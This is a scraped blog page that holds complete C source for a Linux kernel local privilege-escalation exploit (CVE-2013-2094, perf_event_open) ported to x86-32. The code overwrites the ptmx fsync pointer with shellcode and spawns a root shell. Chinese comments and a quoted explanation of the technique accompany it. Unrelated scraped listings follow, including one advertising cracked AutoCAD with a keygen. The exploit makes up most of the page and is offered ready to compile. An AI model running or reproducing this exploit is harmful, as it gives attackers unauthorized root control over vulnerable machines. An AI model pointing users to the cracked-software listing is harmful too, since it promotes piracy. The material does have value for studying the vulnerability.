/*
* linux 2.6.37-3.8.8 - x86
* @rikiji
*
* requires System.map and /dev/ptmx
* this: http://zmbs.net/~rikiji/perf_ptmx.c
* original: http://fucksheep.org/~sd/warez/semtex.c
*/ #include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/mman.h>
#include <stdint.h>
#include <linux/perf_event.h>
#include <asm/unistd.h> #define SYSMAP_PREFIX "/boot/System.map-"
#define PAGE_SIZE 4096 unsigned long commit_creds = 0;
unsigned long prepare_kernel_cred = 0; #define OFFSET_PREP 3
#define OFFSET_COMM 10
char shellcode [] = "\x31\xc0\xbb\x04\x03\x02\x01\xff\xd3\xbb\x08\x07\x06\x05\xff\xd3\xc3";
/*
xor eax,eax
mov ebx,0x1020304
call ebx
mov ebx,0x5060708 ;char* src = arg[1]
call ebx
ret ; char c = src[i] */
unsigned long getsym(char * sym)
{
char s[256] = { 0 };
int fd = open("/proc/version", O_RDONLY);
read(fd, s, sizeof(s));
strtok(s, " ");
strtok(NULL, " ");
char * version = strtok(NULL, " ");
close(fd); int len = strlen(version) + strlen(SYSMAP_PREFIX) + 1;
char * mapf = malloc(len);
memset(mapf, 0, len);
strncpy(mapf, SYSMAP_PREFIX, strlen(SYSMAP_PREFIX));
strncpy(mapf + strlen(SYSMAP_PREFIX), version, strlen(version)); fd = open(mapf, O_RDONLY); #define BUFSIZE 1024
char * buf = malloc(BUFSIZE + 1);
buf[BUFSIZE] = 0;
int partial = 0, found = 0;
char addr[9]; while(!found) {
read(fd, buf, BUFSIZE);
char * tok = strtok(buf," \n"); while(tok != NULL) {
int n = strlen(tok);
if(partial) {
if(strncmp(sym + partial, tok, n) == 0) {
found = 1;
break;
} else {
partial = 0;
}
} else {
if(strncmp(sym, tok, n) == 0) {
strncpy(addr, tok - 11, 9);
if(n < strlen(sym) && (tok + n == buf + BUFSIZE)) {
partial = n;
break;
}
if(n == strlen(sym)) {
found = 1;
break;
}
}
}
tok = strtok(NULL," \n");
}
}
close(fd); printf("%s: 0x%s\n", sym, addr);
return strtoul(addr, NULL, 16);
} int main(int argc, char ** argv)
{
unsigned long perf_table = getsym("perf_swevent_enabled");
commit_creds = getsym("commit_creds");
prepare_kernel_cred = getsym("prepare_kernel_cred");
unsigned long pmtx_ops = getsym("ptmx_fops"); *((unsigned int *)(shellcode + OFFSET_PREP)) = prepare_kernel_cred;
*((unsigned int *)(shellcode + OFFSET_COMM)) = commit_creds; int s;
for(s=0;s<sizeof(shellcode);s++)
printf("%02x ", (unsigned char)shellcode[s]);
printf("\n"); /* 56 is offset of fsync in struct file_operations */
int target = pmtx_ops + 56; //it's Null value
int payload = -((perf_table - target)/4);
printf("payload: 0x%x\n", payload); unsigned long base_addr = 0x10000;
char * map = mmap((void *)base_addr, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_FIXED | MAP_SHARED, -1, 0); if(map == MAP_FAILED)
perror("mmap"); memcpy(map, shellcode, 0x30); struct perf_event_attr event_attr;
memset(&event_attr, 0, sizeof(struct perf_event_attr));
event_attr.type = 1;
event_attr.size = sizeof(struct perf_event_attr);
event_attr.config = payload; int times = base_addr; //為了繞過 sysctl -w vm.mmap_min_addr = 65536 (=0x10000)
int i = 0, k; #define BLOCK 256 // 65536 = 256 * 256, shellcode放在0x10000 (=65536), 為了改寫[pmtx_ops + 56]的值成0x10000
while(times - i > 0) { //65536-0 , 65536-256*1, 65536-256*2,...,65536-256*256 總共做65536次的+1
printf("i %d\n", i);
if(times - i > BLOCK) {
if(fork()) { //parent & child both run after fork(), 所以說child process每次都從此開始
//parent process
for(k=0;k<BLOCK;k++){
int fd = syscall(__NR_perf_event_open, &event_attr, 0, -1, -1, 0);
//跳到[pmtx_ops + 56] + 256,之後去等待,換child process執行,
//會跳到while又再fork出一個child process做[pmtx_ops + 56] + 256...依此類推。
if (fd < 0) { perror("perf_event_open child"); }} pause(); //等child
exit(0);
}
//child process
i += BLOCK;
} else { //times - i == BLOCK的情況,即65536-256*255 == 256, 以下為最後一個256次。由while(times - i > 0)停止。
int fd = syscall(__NR_perf_event_open, &event_attr, 0, -1, -1, 0);
if (fd < 0) {
perror("perf_event_open");
sleep(1);
}
i++; //256*255+1
}
} int ptmx = open("/dev/ptmx", O_RDWR);
fsync(ptmx); if(getuid()) {
printf("failed");
return -1;
} printf("root!!");
execl("/bin/sh", "sh", NULL); return 0;
}

  "An idea from /u/spender is to call multiple times perf_event_open while keeping the file descriptors open, avoiding the destroy callback which will revert the change done in the init function. In this way is possible to increment a value in kernel space multiple times. This has the drawback of the process hitting the maximum number of open file descriptors allowed very fast, so some forking is required. I browsed a bit the kernel source to find a function pointer initialized to zero which was not stored in read only memory, and I chose to leverage drivers/tty/pty.c, a driver for ptmx devices, which is enabled in the default Debian kernel and has struct file_operations ptmx_fops, which has some NULL pointers and more importantly is not in read only memory."

sw_perf_event_destroy (i.e. destroy callback)

但是,linux系统中单个进程能够打开的file descriptor数量是有限制的,所以需要fork出足够多的进程,反复修改。可用ulimit -n查詢,一般來說是1024

http://pastebin.com/xdqEbhYR (查找system.map版)

http://pastebin.com/mMn3QvuR (查找/proc/kallsyms版)

ref. http://rikiji.it/2013/05/10/CVE-2013-2094-x86.html

CVE-2013-2094 porting to x86-32 分析的更多相关文章

  1. Intel X86 32位CPU内存管理----《Linux内核源码情景分析》笔记(一)

    Intel X86 32位CPU内存管理 在X86系列中,8086和8088是16为处理器,而从80386开始为32为处理器,80286则是该系列从8088到80386,也就是16位处理器到32位处理 ...

  2. AutoCAD 2013官方简体中文破解版(32 / 64位),带激活码和注册机

    AutoCAD 2014下载地址:http://ideapad.zol.com.cn/61/160_603697.html 安装及破解方法:(注册机下载在下方) 1.安装Autodesk AutoCA ...

  3. Wps 2013 拼音标注两种方式分析

    Wps 2013 拼音标注两种方式分析 太阳火神的漂亮人生 (http://blog.csdn.net/opengl_es) 本文遵循"署名-非商业用途-保持一致"创作公用协议 转 ...

  4. SharePoint 2013 运行在IIS 应用32位错误

    问题描述: 今天有一个项目因为用了OWC11,没有64位的dll,因此IIS设置了“启用32位应用程序”为true. 如图: 详细操作见:http://www.cnblogs.com/cainiaog ...

  5. X86(32位)与X64(64位)有什么区别,如何选择对应的操作系统和应用程序?

    X86就是我们一般用的32位的系统,指针长度为32位(386起):X64就是64位的系统,指针长度为64位. 选择硬件对应的软件,建议通过以下三条考虑:1.64位操作系统相对32位操作系统理论上性能会 ...

  6. windows游戏编程X86 32位保护模式下的内存管理概述(二)

    本系列文章由jadeshu编写,转载请注明出处.http://blog.csdn.net/jadeshu/article/details/22448323 作者:jadeshu   邮箱: jades ...

  7. CVE 2021-44228 Log4j-2命令执行复现及分析

    12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228.虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 ...

  8. windows游戏编程X86 32位保护模式下的内存管理概述(一)

    本系列文章由jadeshu编写,转载请注明出处.http://blog.csdn.net/jadeshu/article/details/22445945 作者:jadeshu   邮箱: jades ...

  9. adSage :2013年教育行业搜索引擎投放分析报告

  10. FCN 32分析:

    FCN 32s

随机推荐

  1. Python实战之网上银行及购物商城

    前言:这是初学时写的小项目,觉得有意思就写来玩玩,也当是巩固刚学习的知识.现在看来很不成熟,但还是记录一下做个纪念好了~ 1.名称:网上网上银行及购物商城 2.项目结构: 当时刚接触python啦,哪 ...

  2. python面向对象--类和实例的认识

    '''1.数据属性 2.函数属性''' #创建一个类class Chinese: "这是一个中国人的类" #类属性 money=4000 #注意类和对象均用点来访问自己的属性 de ...

  3. linux--基础知识1

    #进入终端窗口,root命令提示符#,普通用户登陆提示符$,切换终端用户 ctrl+shift+F2,退出终端命令exit #init 0 关机  reboot 重启  ls查看当前目录下文件  ls ...

  4. Intellij IDEA 插件开发秘籍

    来这里找志同道合的小伙伴! 这里总结一下 Intellij IDEA 插件开发的知识,供大家参考,本篇文章包含以下内容: 开发环境搭建 Component 介绍 Extension Point And ...

  5. bzoj5084 hashit 广义SAM+树链的并

    题目传送门 https://lydsy.com/JudgeOnline/problem.php?id=5084 题解 考虑平常对于静态问题,我们应该如何用 SAM 求本质不同的子串个数. 对于一个常规 ...

  6. Spring的AOP和IoC及隔离级别

    Spring的AOP和IoC Spring AOP:代理机制.Spring提供的自动代理机制 Spring的IoC来实组件之间的依赖关系注入, 使控制层与业务实现分离,即客户通过调用业务委托接口来调用 ...

  7. windows2008R2双网卡设置(一内网,一外网)

    非安装路由角色 修改注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces 下的二网卡 ...

  8. Spring---异步消息

    1.异步消息 1.1.目的:   为了  系统与系统  之间的通信: 1.2.概念: 异步消息  :消息的   发送者  无需 等待消息  接收者的处理及返回,甚至 无需 关心消息是否发送成功: 1. ...

  9. 【leetcode】1080. Insufficient Nodes in Root to Leaf Paths

    题目如下: Given the root of a binary tree, consider all root to leaf paths: paths from the root to any l ...

  10. LeetCode--053--最大子序和(java)

    给定一个整数数组 nums ,找到一个具有最大和的连续子数组(子数组最少包含一个元素),返回其最大和. 示例: 输入: [-2,1,-3,4,-1,2,1,-5,4], 输出: 6 解释: 连续子数组 ...